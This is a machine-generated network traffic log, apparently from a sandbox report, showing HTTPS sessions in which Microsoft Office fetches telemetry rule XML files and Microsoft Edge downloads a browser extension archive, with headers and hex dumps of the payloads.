2024-11-28 01:27:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:38 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012739Z-174f7845968nxc96hC1EWRspw80000000xbg00000000namh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:38 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012739Z-174f7845968swgbqhC1EWRmnb40000000xug00000000fg1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:39 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012739Z-174f7845968cpnpfhC1EWR3afc0000000xbg00000000bkhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49825	142.250.181.65	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:39 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:40 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4ZjqXlR9c2WaJAkMQ9T29mKgZyUWAl30zlMeVWfVqvo7yS4sz72IU_VKJYbTtI74Oc9rQ X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 27 Nov 2024 16:45:00 GMT Expires: Thu, 27 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 31359 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-28 01:27:40 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-28 01:27:40 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-28 01:27:40 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-28 01:27:40 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-28 01:27:40 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-28 01:27:40 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-28 01:27:40 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-28 01:27:40 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-28 01:27:40 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-28 01:27:40 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:39 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012740Z-174f7845968xr5c2hC1EWRd0hn0000000eq00000000023rt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:40 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012741Z-174f7845968cpnpfhC1EWR3afc0000000x8g00000000ms4b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
